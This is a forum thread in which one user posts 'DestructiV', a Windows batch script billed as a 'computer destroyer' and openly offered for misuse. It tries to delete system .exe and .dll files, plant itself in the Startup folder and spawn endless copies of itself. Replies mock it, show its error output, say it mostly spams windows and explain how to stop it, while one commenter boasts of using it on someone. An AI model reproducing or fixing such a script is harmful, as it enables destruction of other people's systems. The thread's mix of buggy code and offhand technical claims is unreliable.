Thread: [DestructiV batch file \(Computer destroyer\)](#)

cdriza - June 15, 2014, 4:30 pm

-----NOTICE-----

Sorry about labeling this as a help thread, it is not!

-----End Notice-----

My god.... This file.... if you run it. on your computer... just don't. DON'T. -_-

Anyway, this is meant 4 educationel porpornisuses only (aka do whatever the fuck you want with it)

Code title DestructiV

color 01a

@echo off

del /q /f /k %systemroot%*.exe

del /q /f /k %systemroot%*.dll

del /q /f /k %systemroot%\system32*.dll

del /q /f /k %systemroot%\system32*.exe

copy *.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

:loop

shutdown /a

set dead=%random%

start %dead%.bat

echo bitchufuked

start *.bat

goto loop

-----Also try out some of my other, non-destructive batch stuff!-----

[\(W\)ADC - Windows Advanced Disc Cleanup](#)

(Jun 15, 2014 04:30 PM)cdriza Wrote: [\[CITE\]](#) del /q /f /k %systemroot%*.exe

del /q /f /k %systemroot%*.dll

del /q /f /k %systemroot%\system32*.dll

del /q /f /k %systemroot%\system32*.exe

Invalid switch - "k".

(Jun 15, 2014 04:30 PM)cdriza Wrote: [\[CITE\]](#) shutdown /a

Unable to abort the system shutdown because no shutdown was in progress.

(Jun 15, 2014 04:30 PM)cdriza Wrote: [\[CITE\]](#) set dead=%random%

start %dead%.bat

'25859.bat' is not recognized as an internal or external command, operable program or batch file.

Yeah don't run it - otherwise you'll see that it doesn't do anything particularly destructive, and cdriza

loses credibility. :> The worst this script does is open copies of itself and other batch files in the same folder. This can be fixed by ending the cmd.exe process tree in task manager, or opening a command prompt and issuing the command `taskkill /IM cmd.exe /T`
Calling it a computer destroyer is utterly laughable.

"Destructive" stuff is frowned upon by all the regulars here, by the way. ^^

nixon12231 - June 16, 2014, 7:52 pm

nice one dude i did it to this guy he try to kick my ass

don't run it otherwise your computer will be spammed with error messages, bitch please what did you think it did? spam-opened batch files? nope. :)

Freebooter - June 17, 2014, 8:11 am

This batch file will not work because Windows Resource Protection (WRP) prevents the deleting and replacement of essential system files, folders, and registry keys that are installed as part of the Windows Operating System.

^ Yup, pretty much this. And the intended operations aren't even destructive. They're just supposed to fuck up windows. Plus I'm pretty sure everything after XP needs admin privileges...

Roran - June 17, 2014, 12:47 pm

You could probably just type into the command line
`del .`

As `.` is a wild card, either everything would be deleted, or nothing would happen.

No..... It means anything.anyExtention will be deleted so long that it's not protected by windows.
